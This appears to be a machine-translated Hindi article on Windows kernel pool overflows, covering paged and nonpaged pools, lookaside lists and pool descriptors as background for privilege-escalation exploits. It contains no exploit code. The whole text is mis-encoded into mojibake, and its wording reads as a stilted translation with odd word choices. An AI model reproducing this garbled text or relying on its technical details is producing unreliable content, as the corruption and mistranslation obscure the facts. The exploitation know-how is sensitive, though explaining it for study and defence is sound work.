рдХрд░реНрдиреЗрд▓ рдкреВрд▓ рдЕрддрд┐рдкреНрд░рд╡рд╛рд╣: рдереНрдпреЛрд░реА рд╕реЗ рдкреНрд░реИрдХреНрдЯрд┐рд╕ рддрдХ

рд╡рд┐рдВрдбреЛрдЬ рдХрд░реНрдиреЗрд▓ рд╣рдореЗрд╢рд╛ рдПрдХ рд╣реИрдХрд░ рдХреЗ рд▓рд┐рдП рдПрдХ tidbit рд░рд╣рд╛ рд╣реИ, рдЦрд╛рд╕рдХрд░ рдЬрдм рдЗрд╕рдХреЗ рджреЛрд╣рди рдХреЗ рд▓рд┐рдП рдкреВрд░реНрдг рддрд░реАрдХреЗ рд╣реИрдВ, рдЬреЛ рдЙрдиреНрдирдд рдЕрдзрд┐рдХрд╛рд░реЛрдВ рдХреЗ рд▓рд┐рдП рдЕрдЧреНрд░рдгреА рд╣реИред рдЗрд╕ рддрдереНрдп рдХреЛ рджреЗрдЦрддреЗ рд╣реБрдП рдХрд┐ рдкрд┐рдЫрд▓реЗ рдХреБрдЫ рд╡рд░реНрд╖реЛрдВ рдореЗрдВ, рдХрд░реНрдиреЗрд▓ рдбрд╛рдпрдиреЗрдорд┐рдХ рдореЗрдореЛрд░реА рдХреЗ рдЕрддрд┐рдкреНрд░рд╡рд╛рд╣ рд╕реЗ рдЬреБрдбрд╝реА рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреА рд╕рдВрдЦреНрдпрд╛ рдореЗрдВ рддреЗрдЬреА рд╕реЗ рд╡реГрджреНрдзрд┐ рд╣реБрдИ рд╣реИ, рдореБрдЭреЗ рдЗрд╕ рдХреНрд╖реЗрддреНрд░ рдореЗрдВ рд╕рдХреНрд░рд┐рдп рд░реВрдк рд╕реЗ рджрд┐рд▓рдЪрд╕реНрдкреА рдереА рдФрд░, рдЕрдкрдиреЗ рд╕реНрд╡рдпрдВ рдХреЗ рдЖрд╢реНрдЪрд░реНрдп рдХреЗ рд▓рд┐рдП, рдЕрдВрддрддрдГ рдЗрддрдиреА рд╕рд╛рдордЧреНрд░реА рдЬрдорд╛ рд╣реБрдИ рдХрд┐ рдпрд╣ рдПрдХ 0day рдмрдЧ рдХреЗ рд▓рд┐рдП рдкрд░реНрдпрд╛рдкреНрдд рд╣реЛрдЧрд╛ред



рджреГрд╢реНрдп рдкрд░рдорд╛рдгреБ рд╢реЗрд▓рдХреЛрдб :)





рд╕рдорд╕реНрдпрд╛ рдХреА рддрд╛рддреНрдХрд╛рд▓рд┐рдХрддрд╛



рдореЗрдореЛрд░реА рдореИрдиреЗрдЬрдореЗрдВрдЯ рдЯреЗрдХреНрдиреЛрд▓реЙрдЬреА рдХреЛрд░ рдореЗрдВ рд╕рдмрд╕реЗ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИред рдЗрд╕ рддрдВрддреНрд░ рдХреА рдХрдордЬреЛрд░рд┐рдпрд╛рдВ рд╕рдВрднрд╡рддрдГ рд╕рдмрд╕реЗ рднрдпрд╛рдирдХ рдФрд░, рдПрдХ рд╣реА рд╕рдордп рдореЗрдВ, рдкреНрд░рд╛рд╕рдВрдЧрд┐рдХ рд╣реИрдВред рд╡реЗ рд╡рд┐рднрд┐рдиреНрди рдкреНрд░рдХрд╛рд░ рдХреА рд╕реБрд░рдХреНрд╖рд╛ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдореБрдЦреНрдп рдкреНрд░реЛрддреНрд╕рд╛рд╣рди рд╣реИрдВ, рдЬреИрд╕реЗ рд╕реБрд░рдХреНрд╖рд┐рдд рдЕрдирд▓рд┐рдВрдХрд┐рдВрдЧред рдЗрд╕ рд▓реЗрдЦ рдореЗрдВ, рдЧрддрд┐рд╢реАрд▓ рдХрд░реНрдиреЗрд▓ рдореЗрдореЛрд░реА рдЕрддрд┐рдкреНрд░рд╡рд╛рд╣ рдХреЗ рд╕рдВрдЪрд╛рд▓рди рдкрд░ рдХреБрдЫ рдкрд╣рд▓реБрдУрдВ, рджреЛрдиреЛрдВ рд╕реИрджреНрдзрд╛рдВрддрд┐рдХ рдФрд░ рд╡реНрдпрд╛рд╡рд╣рд╛рд░рд┐рдХ, рдкрд░ рд╡рд┐рд╕реНрддрд╛рд░ рд╕реЗ рдЬрд╛рдВрдЪ рдХреА рдЬрд╛рдПрдЧреАред



рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ, рдореИрдВ рдЗрд╕ рдЬрд╛рддрд┐ рдХреА рд╕рдмрд╕реЗ рдкреНрд░рдореБрдЦ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдкрд░ рдЙрдВрдЧрд▓реА рдЙрдард╛рддрд╛ рд╣реВрдВ:

рдХрд░реНрдиреЗрд▓ рдореЗрдореЛрд░реА рдЖрд╡рдВрдЯрди рдЕрд╡рд▓реЛрдХрди



рдХрд┐рд╕реА рднреА рд╕реНрд╡рд╛рднрд┐рдорд╛рдиреА рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ, рд╡рд┐рдВрдбреЛрдЬ (рдпрд╛ рдмрд▓реНрдХрд┐, рдЗрд╕рдХреА рдХрд░реНрдиреЗрд▓) рдореЗрдореЛрд░реА рдХреЛ рдЖрд╡рдВрдЯрд┐рдд / рдореБрдХреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреБрдЫ рдХрд╛рд░реНрдп рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред рд╡рд░реНрдЪреБрдЕрд▓ рдореЗрдореЛрд░реА рдореЗрдВ рдкреЗрдЬ рдирд╛рдордХ рдмреНрд▓реЙрдХ рд╣реЛрддреЗ рд╣реИрдВред рдЗрдВрдЯреЗрд▓ x86 рдЖрд░реНрдХрд┐рдЯреЗрдХреНрдЪрд░ рдореЗрдВ, рдкреГрд╖реНрда рдХрд╛ рдЖрдХрд╛рд░ 4096 рдмрд╛рдЗрдЯреНрд╕ рд╣реИред рд╣рд╛рд▓рд╛рдВрдХрд┐, рдЕрдзрд┐рдХрд╛рдВрд╢ рдореЗрдореЛрд░реА рдЖрд╡рдВрдЯрди рдЕрдиреБрд░реЛрдз рдкреГрд╖реНрда рдЖрдХрд╛рд░ рд╕реЗ рдХрдо рд╣реИрдВред рдЗрд╕рд▓рд┐рдП, рдХрд░реНрдиреЗрд▓ рдлрд╝рдВрдХреНрд╢рди рдЬреИрд╕реЗ ExAllocatePoolWithTag рдФрд░ ExFreePoolWithTag рдЖрд░рдХреНрд╖рд┐рдд рдЕрдкреНрд░рдпреБрдХреНрдд рдореЗрдореЛрд░реА рдХреЛ рдмрд╛рдж рдореЗрдВ рдЖрд╡рдВрдЯрди рдХреЗ рд▓рд┐рдПред рдЖрдВрддрд░рд┐рдХ рдХрд╛рд░реНрдп рд╣рд░ рдмрд╛рд░ рдПрдХ рдкреЗрдЬ рд╕рдХреНрд░рд┐рдп рд╣реЛрдиреЗ рдкрд░ рд╣рд╛рд░реНрдбрд╡реЗрдпрд░ рдХреЗ рд╕рд╛рде рд╕реАрдзреЗ рд╕рдВрдкрд░реНрдХ рдХрд░рддреЗ рд╣реИрдВред рдпреЗ рд╕рднреА рдкреНрд░рдХреНрд░рд┐рдпрд╛рдПрдВ рдХрд╛рдлреА рдЬрдЯрд┐рд▓ рдФрд░ рдирд╛рдЬреБрдХ рд╣реИрдВ, рдпрд╣реА рд╡рдЬрд╣ рд╣реИ рдХрд┐ рдЙрдиреНрд╣реЗрдВ рдХреЛрд░ рдореЗрдВ рд▓рд╛рдЧреВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред



Paged рдФрд░ NonPaged рдкреВрд▓ рдХреЗ рдмреАрдЪ рдЕрдВрддрд░



рд╕рд┐рд╕реНрдЯрдо рдХреЛрд░ рдореЗрдореЛрд░реА рдХреЛ рджреЛ рдЕрд▓рдЧ-рдЕрд▓рдЧ рдкреВрд▓ рдореЗрдВ рд╡рд┐рднрд╛рдЬрд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдЗрд╕ feint рдХрд╛ рдЖрд╡рд┐рд╖реНрдХрд╛рд░ рд╕рдмрд╕реЗ рдЕрдзрд┐рдХ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ рдореЗрдореЛрд░реА рдмреНрд▓реЙрдХреЛрдВ рдХреЛ рдЙрдЬрд╛рдЧрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред рд╕рд┐рд╕реНрдЯрдо рдХреЛ рдкрддрд╛ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП рдХрд┐ рдХреМрди рд╕реЗ рдкреГрд╖реНрда рд╕рдмрд╕реЗ рдЕрдзрд┐рдХ рдорд╛рдВрдЧ рдореЗрдВ рд╣реИрдВ рдФрд░ рдХреМрди рд╕реЗ рдкреГрд╖реНрдареЛрдВ рдХреЛ рдЕрд╕реНрдерд╛рдпреА рд░реВрдк рд╕реЗ рдЫреЛрдбрд╝ рджрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ (рддрд╛рд░реНрдХрд┐рдХ рд░реВрдк рд╕реЗ, рд╕рд╣реА?)ред Paged рдкреВрд▓ рдХреЛ RAM рдореЗрдВ рд╕рд╣реЗрдЬрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдпрд╛ рдлрд╝рд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо (рд╕реНрд╡реИрдк) рдореЗрдВ рдордЬрдмреВрд░ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдиреЙрдирдкреЗрдЬреЗрдб рдкреВрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдХрд╛рд░реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдХреЗрд╡рд▓ рд░реИрдо рдФрд░ рдЖрдИрдЖрд░рдХреНрдпреВрдПрд▓ рдХреЗ рдкреНрд░рддреНрдпреЗрдХ рд╕реНрддрд░ рдХреЗ рд▓рд┐рдП рдореМрдЬреВрдж рд╣реИред



Pagefile.sys рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рдкреГрд╖реНрдард╛рдВрдХрд┐рдд рдореЗрдореЛрд░реА рд╣реЛрддреА рд╣реИред рд╣рд╛рд▓ рдХреЗ рджрд┐рдиреЛрдВ рдореЗрдВ, рд╡рд╣ рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рдПрдХ рд╣рдорд▓реЗ рдХрд╛ рд╢рд┐рдХрд╛рд░ рдерд╛ рдЬрд┐рд╕рдХреЗ рджреМрд░рд╛рди рдЕрд╣рд╕реНрддрд╛рдХреНрд╖рд░рд┐рдд рдХреЛрдб рдХреЛ рд╡рд┐рд╕реНрдЯрд╛ рдХрд░реНрдиреЗрд▓ рдореЗрдВ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред рдЪрд░реНрдЪрд╛ рдХрд┐рдП рдЧрдП рд╕рдорд╛рдзрд╛рдиреЛрдВ рдХреЗ рдмреАрдЪ, рдЗрд╕реЗ рдкреГрд╖реНрдард╛рдВрдХрд┐рдд рд╕реНрдореГрддрд┐ рдХреЛ рдЕрдХреНрд╖рдо рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рд╕реНрддрд╛рд╡ рджрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред рдЬреЛрдЖрдирд╛ рд░реБрдЯрдХреЛрд╡реНрд╕реНрдХрд╛ рдиреЗ рджреВрд╕рд░реЛрдВ рдХреА рддреБрд▓рдирд╛ рдореЗрдВ рдЗрд╕ рддрд░рд╣ рдХреЗ рд╕рдорд╛рдзрд╛рди рдХреЛ рдЕрдзрд┐рдХ рд╕реБрд░рдХреНрд╖рд┐рдд рдмрддрд╛рдпрд╛, рд╣рд╛рд▓рд╛рдВрдХрд┐ рдЗрд╕рдХрд╛ рдкрд░рд┐рдгрд╛рдо рд╢рд╛рд░реАрд░рд┐рдХ рд╕реНрдореГрддрд┐ рдХрд╛ рдорд╛рдореВрд▓реА рдиреБрдХрд╕рд╛рди рдерд╛ред Microsoft рдбрд┐рд╕реНрдХ рдкрд░ рд╕реАрдзреЗ рдкрд╣реБрдВрдЪ рд╕реЗ рдЗрдирдХрд╛рд░ рдХрд░рддрд╛ рд╣реИ, рдЬреЛ рдХрд┐ рд╡рд┐рдВрдбреЛрдЬ рдХрд░реНрдиреЗрд▓ рдХреА рдРрд╕реА рд╕реБрд╡рд┐рдзрд╛рдУрдВ рдХреЗ рдорд╣рддреНрд╡ рдХреА рдкреБрд╖реНрдЯрд┐ рдХрд░рддрд╛ рд╣реИ рдЬреИрд╕реЗ рдХрд┐ Paged рдФрд░ NonPaged рдкреВрд▓ред рдпрд╣ рд▓реЗрдЦ рдиреЙрдирдкреЗрдЬреЗрдб рдкреВрд▓ рдкрд░ рдзреНрдпрд╛рди рджреЗрдиреЗ рдХреЗ рд╕рд╛рде рд▓рд┐рдЦрд╛ рдЧрдпрд╛ рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рдкреЗрдЬреЗрдб-рдкреВрд▓ рдкреНрд░рд╕рдВрд╕реНрдХрд░рдг рдкреВрд░реА рддрд░рд╣ рд╕реЗ рдЕрд▓рдЧ рд╣реИред рдиреЙрдирдкреЗрдЬреЗрдб рдкреВрд▓ рдХреЛ рдвреЗрд░ рдХреЗ рдХрдо рд╡рд┐рд╢рд┐рд╖реНрдЯ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдХреЗ рд░реВрдк рдореЗрдВ рдорд╛рдирд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рд╕рд┐рд╕реНрдЯрдо рдкреВрд▓ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╡рд┐рд╕реНрддреГрдд рдЬрд╛рдирдХрд╛рд░реА рдорд╛рдЗрдХреНрд░реЛрд╕реЙрдлреНрдЯ рд╡рд┐рдВрдбреЛрдЬ рдЗрдВрдЯрд░реНрдирд▓ рдореЗрдВ рдЙрдкрд▓рдмреНрдз рд╣реИред



рдиреЙрдирдкреЗрдЬрд╝реЗрдб рдкреВрд▓ рдЯреЗрдмрд▓



рдЖрд╡рдВрдЯрди рдПрд▓реНрдЧреЛрд░рд┐рдереНрдо рдХреЛ рдЬрд▓реНрджреА рд╕реЗ рд╕рдмрд╕реЗ рдЕрдзрд┐рдХ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ рд╕рдВрд╕реНрдХрд░рдгреЛрдВ рдХреЛ рд╡рд┐рддрд░рд┐рдд рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдПред рдЗрд╕рд▓рд┐рдП, рддреАрди рдЕрд▓рдЧ-рдЕрд▓рдЧ рдЯреЗрдмрд▓ рд╣реИрдВ, рдЬрд┐рдирдореЗрдВ рд╕реЗ рдкреНрд░рддреНрдпреЗрдХ рдПрдХ рдирд┐рд╢реНрдЪрд┐рдд рд╕реАрдорд╛ рдХреА рдореЗрдореЛрд░реА рдЖрд╡рдВрдЯрд┐рдд рдХрд░рддрд╛ рд╣реИред рдореБрдЭреЗ рдпрд╣ рд╕рдВрд░рдЪрдирд╛ рдЕрдзрд┐рдХрд╛рдВрд╢ рдореЗрдореЛрд░реА рдореИрдиреЗрдЬрдореЗрдВрдЯ рдПрд▓реНрдЧреЛрд░рд┐рджрдо рдореЗрдВ рдорд┐рд▓реАред рдЙрдкрдХрд░рдгреЛрдВ рд╕реЗ рдореЗрдореЛрд░реА рдХреЗ рд░реАрдбрд┐рдВрдЧ рдмреНрд▓реЙрдХ рдореЗрдВ рдХреБрдЫ рд╕рдордп рд▓рдЧрддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рд╡рд┐рдВрдбреЛрдЬ рдПрд▓реНрдЧреЛрд░рд┐рджрдо рдореЗрдВ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреА рдЧрддрд┐ рдФрд░ рд╕реНрдореГрддрд┐ рдХреЗ рдЗрд╖реНрдЯрддрдо рдЖрд╡рдВрдЯрди рдХреЗ рдмреАрдЪ рдПрдХ рд╕рдВрддреБрд▓рди рд╣реИред рдпрджрд┐ рдореЗрдореЛрд░реА рдмреНрд▓реЙрдХ рдмрд╛рдж рдХреЗ рдЖрд╡рдВрдЯрди рдХреЗ рд▓рд┐рдП рд╕рд╣реЗрдЬреЗ рдЬрд╛рддреЗ рд╣реИрдВ рддреЛ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╕рдордп рдХрдо рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред рджреВрд╕рд░реА рдУрд░ рдЕрддреНрдпрдзрд┐рдХ рдореЗрдореЛрд░реА рдЕрддрд┐рд░реЗрдХ, рдкреНрд░рджрд░реНрд╢рди рдХреЛ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИред

рдПрдХ рддрд╛рд▓рд┐рдХрд╛ рдореЗрдореЛрд░реА рдХреЗ рдмреНрд▓реЙрдХ рдХреЛ рд╕реНрдЯреЛрд░ рдХрд░рдиреЗ рдХрд╛ рдПрдХ рдЕрд▓рдЧ рддрд░реАрдХрд╛ рд╣реИред рд╣рдо рдкреНрд░рддреНрдпреЗрдХ рддрд╛рд▓рд┐рдХрд╛ рдФрд░ рдЙрд╕рдХреЗ рд╕реНрдерд╛рди рдХреЛ рджреЗрдЦреЗрдВрдЧреЗред



рдиреЙрдирдкреЗрдЬреЗрдб рд▓реБрдХрд╕рд╛рдЗрдб - рдкреНрд░рддреНрдпреЗрдХ рдкреНрд░реЛрд╕реЗрд╕рд░ рдХреЛ рд╕реМрдВрдкреА рдЧрдИ рддрд╛рд▓рд┐рдХрд╛ рдФрд░ 256 рдмрд╛рдЗрдЯреНрд╕ рдХреЗ рдмрд░рд╛рдмрд░ рдпрд╛ рдЙрд╕рд╕реЗ рдХрдо рдореЗрдореЛрд░реА рд╕рд╛рдЗрдЬрд╝ рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рдирд╛ред рдкреНрд░рддреНрдпреЗрдХ рдкреНрд░реЛрд╕реЗрд╕рд░ рдореЗрдВ рдПрдХ рдХрдВрдЯреНрд░реЛрд▓ рд░рдЬрд┐рд╕реНрдЯрд░ (рдкреАрд╕реАрдЖрд░) рд╣реЛрддрд╛ рд╣реИ рдЬреЛ рдкреНрд░реЛрд╕реЗрд╕рд░ рдХреЛ рдУрд╡рд░рд╣реЗрдб - IRQL, GDT, IDT рд╕реНрдЯреЛрд░ рдХрд░рддрд╛ рд╣реИред рд░рдЬрд┐рд╕реНрдЯреНрд░реА рд╡рд┐рд╕реНрддрд╛рд░ рдХреЛ рдирд┐рдпрдВрддреНрд░рдг рдХреНрд╖реЗрддреНрд░ (рдкреАрд╕реАрдЖрд░рдмреА) рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рдЗрд╕рдореЗрдВ рд▓реБрдХрд╕рд╛рдЗрдб рдЯреЗрдмрд▓ рд╣реЛрддреЗ рд╣реИрдВред рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╡рд┐рдВрдбрдмрдЧ рдбрдВрдк рдРрд╕реА рддрд╛рд▓рд┐рдХрд╛ рдХреА рд╕рдВрд░рдЪрдирд╛ рдХрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд░рддрд╛ рд╣реИ:



рд╡рд┐рдВрдбрдмрдЧ рдореЗрдВ рд╕рдВрд░рдЪрдирд╛рдУрдВ рдХреЗ рдбрдВрдк

рд╡рд┐рдВрдбрдмрдЧ рдореЗрдВ рд╕рдВрд░рдЪрдирд╛рдУрдВ рдХреЗ рдбрдВрдк


рдЕрдиреНрдп рдкреНрд░рдХрд╛рд░реЛрдВ рдХреА рддреБрд▓рдирд╛ рдореЗрдВ рд▓реБрдХрд╕рд╛рдЗрдб рдЯреЗрдмрд▓ рд╕рдмрд╕реЗ рддреЗрдЬрд╝ рд░реАрдб рдореЗрдореЛрд░реА рдмреНрд▓реЙрдХ рдкреНрд░рджрд╛рди рдХрд░рддреЗ рд╣реИрдВред рдЗрд╕ рддрд░рд╣ рдХреЗ рдЕрдиреБрдХреВрд▓рди рдХреЗ рд▓рд┐рдП, рджреЗрд░реА рдХрд╛ рд╕рдордп рдмрд╣реБрдд рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ, рдФрд░ рдПрдХ рдПрдХрд▓ рд▓рд┐рдВрдХ рдХреА рдЧрдИ рд╕реВрдЪреА (рдЬрд┐рд╕реЗ рд▓реБрдХрд╕рд╛рдЗрдб рдореЗрдВ рд▓рд╛рдЧреВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ) рдПрдХ рджреЛрдЧреБрдиреА рд▓рд┐рдВрдХ рдХреА рддреБрд▓рдирд╛ рдореЗрдВ рдмрд╣реБрдд рдЕрдзрд┐рдХ рдХреБрд╢рд▓ рд╣реИред ExInterlockedPopEntrySList рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рд╣рд╛рд░реНрдбрд╡реЗрдпрд░ "рд▓реЙрдХ" рдирд┐рд░реНрджреЗрд╢ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╕реВрдЪреА рд╕реЗ рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐ рдХрд╛ рдЪрдпрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред PPNPagedLookasideList рдЙрдкрд░реНрдпреБрдХреНрдд рд▓реБрдХрд╕рд╛рдЗрдб рддрд╛рд▓рд┐рдХрд╛ рд╣реИред рдЗрд╕рдореЗрдВ рджреЛ рд▓реБрдХрд╕рд╛рдЗрдб рд╕реВрдЪрд┐рдпрд╛рдБ рд╢рд╛рдорд┐рд▓ рд╣реИрдВ: P рдФрд░ L. GENERAL_LOOKASIDE рд╕рдВрд░рдЪрдирд╛ рдХрд╛ "рдЧрд╣рд░рд╛рдИ" рдХреНрд╖реЗрддреНрд░ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ рд▓рд┐рд╕реНрдЯрд╣реЗрдб рдореЗрдВ рдХрд┐рддрдиреЗ рд░рд┐рдХреЙрд░реНрдб рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред рд╕рд┐рд╕реНрдЯрдо рдирд┐рдпрдорд┐рдд рд░реВрдк рд╕реЗ рд╡рд┐рднрд┐рдиреНрди рдХрд╛рдЙрдВрдЯрд░реЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЗрд╕ рдкреИрд░рд╛рдореАрдЯрд░ рдХреЛ рдЕрдкрдбреЗрдЯ рдХрд░рддрд╛ рд╣реИред рдЕрдкрдбреЗрдЯ рдПрд▓реНрдЧреЛрд░рд┐рджрдо рдкреНрд░реЛрд╕реЗрд╕рд░ рдирдВрдмрд░ рдкрд░ рдЖрдзрд╛рд░рд┐рдд рд╣реИ рдФрд░ рдкреА рдФрд░ рдПрд▓ рдХреЗ рд▓рд┐рдП рд╕рдорд╛рди рдирд╣реАрдВ рд╣реИред рдкреА рд╕реВрдЪреА рдореЗрдВ, "рдЧрд╣рд░рд╛рдИ" рдлрд╝реАрд▓реНрдб рдХреЛ рдПрд▓ рд╕реВрдЪреА рдХреА рддреБрд▓рдирд╛ рдореЗрдВ рдЕрдзрд┐рдХ рдмрд╛рд░ рдЕрдкрдбреЗрдЯ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рдкреА рдмрд╣реБрдд рдЫреЛрдЯреЗ рдмреНрд▓реЙрдХреЛрдВ рдХреЗ рд▓рд┐рдП рдЕрдиреБрдХреВрд▓рд┐рдд рд╣реИред



рджреВрд╕рд░реА рддрд╛рд▓рд┐рдХрд╛ рдкреНрд░реЛрд╕реЗрд╕рд░ рдХреА рд╕рдВрдЦреНрдпрд╛ рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддреА рд╣реИ рдФрд░ рд╕рд┐рд╕реНрдЯрдо рдЙрдиреНрд╣реЗрдВ рдХреИрд╕реЗ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рддрд╛ рд╣реИред рдореЗрдореЛрд░реА рдЖрд╡рдВрдЯрди рдХреА рдЗрд╕ рдкрджреНрдзрддрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ рдпрджрд┐ рд╡реЙрд▓реНрдпреВрдо 4080 рдмрд╛рдЗрдЯреНрд╕ рд╕реЗ рдХрдо рдпрд╛ рдмрд░рд╛рдмрд░ рд╣реИ, рдпрд╛ рдпрджрд┐ рд▓реБрдХрд╕рд╛рдЗрдб рдЦреЛрдЬ рдиреЗ рд░рд┐рдЯрд░реНрди рдкрд░рд┐рдгрд╛рдо рдирд╣реАрдВ рджрд┐рдП рд╣реИрдВред рдпрд╣рд╛рдВ рддрдХ тАЛтАЛрдХрд┐ рдЕрдЧрд░ рд▓рдХреНрд╖реНрдп рддрд╛рд▓рд┐рдХрд╛ рдмрджрд▓ рдЬрд╛рддреА рд╣реИ, рддреЛ рдЗрд╕рдореЗрдВ рд╕рдорд╛рди POOL_DESCRIPTOR рд╕рдВрд░рдЪрдирд╛ рд╣реЛрдЧреАред рдПрдХ рдПрдХрд▓ рдкреНрд░реЛрд╕реЗрд╕рд░ рдХреЗ рд▓рд┐рдП, рдиреЙрдирдкреНрд▓реЗрдЬреЗрдбрдкреВрд▓рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдкреЙрдЗрдВрдЯрд░ рдХреЛ рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдкреВрд▓рд╡реЗрдХреНрдЯрд░ рд╡реИрд░рд┐рдПрдмрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдХрдИ рдкреНрд░реЛрд╕реЗрд╕рд░реЛрдВ рдХреЗ рд▓рд┐рдП, ExpNonPagedPoolDescriptor рддрд╛рд▓рд┐рдХрд╛ рдореЗрдВ рдкреВрд▓ рд╡рд┐рд╡рд░рдг рдХреЗ рд╕рд╛рде 16 рд╕реНрд▓реЙрдЯ рд╣реИрдВред рдкреНрд░рддреНрдпреЗрдХ рдкреНрд░реЛрд╕реЗрд╕рд░ рдХрд╛ PCRB рдПрдХ KNODE рд╕рдВрд░рдЪрдирд╛ рдХреЛ рджрд░реНрд╢рд╛рддрд╛ рд╣реИред рдПрдХ рдиреЛрдб рдПрдХ рд╕реЗ рдЕрдзрд┐рдХ рдкреНрд░реЛрд╕реЗрд╕рд░ рд╕реЗ рдЬреБрдбрд╝рд╛ рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдЗрд╕рдореЗрдВ рдПрдХ "рд░рдВрдЧ" рдлрд╝реАрд▓реНрдб рд╣реЛрддрд╛ рд╣реИ, рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдПрдХреНрд╕рдкреЗрдВрдирдбреЗрдЬреНрдбрдкреВрд▓рдбрд┐рд╕рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЗ рд▓рд┐рдП рдПрдХ рд╕реВрдЪреА рдХреЗ рд░реВрдк рдореЗрдВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЪрд┐рддреНрд░ рдЗрд╕ рдПрд▓реНрдЧреЛрд░рд┐рдереНрдо рдХрд╛ рд╡рд░реНрдгрди рдХрд░рддреЗ рд╣реИрдВ:



рдПрдХрд▓ рдкреНрд░реЛрд╕реЗрд╕рд░ рдкреВрд▓ рд╡рд┐рд╡рд░рдг

рдПрдХрд▓ рдкреНрд░реЛрд╕реЗрд╕рд░ рдкреВрд▓ рд╡рд┐рд╡рд░рдг


рдмрд╣реБ-рдкреНрд░реЛрд╕реЗрд╕рд░ рдкреВрд▓ рд╡рд┐рд╡рд░рдг

рдорд▓реНрдЯреА-рдкреНрд░реЛрд╕реЗрд╕рд░ рдкреВрд▓ рд╡рд┐рд╡рд░рдг


рдХрд░реНрдиреЗрд▓ рд╡реИрд╢реНрд╡рд┐рдХ рдЪрд░ ExpNumberOfNonPagedPools рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рддрд╛ рд╣реИ, рдпрджрд┐ рдЗрд╕ рддрд╛рд▓рд┐рдХрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрдИ рдкреНрд░реЛрд╕реЗрд╕рд░ рджреНрд╡рд╛рд░рд╛ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЗрд╕рдореЗрдВ рдкреНрд░реЛрд╕реЗрд╕рд░ рдХреА рд╕рдВрдЦреНрдпрд╛ рд╣реЛрдиреА рдЪрд╛рд╣рд┐рдПред



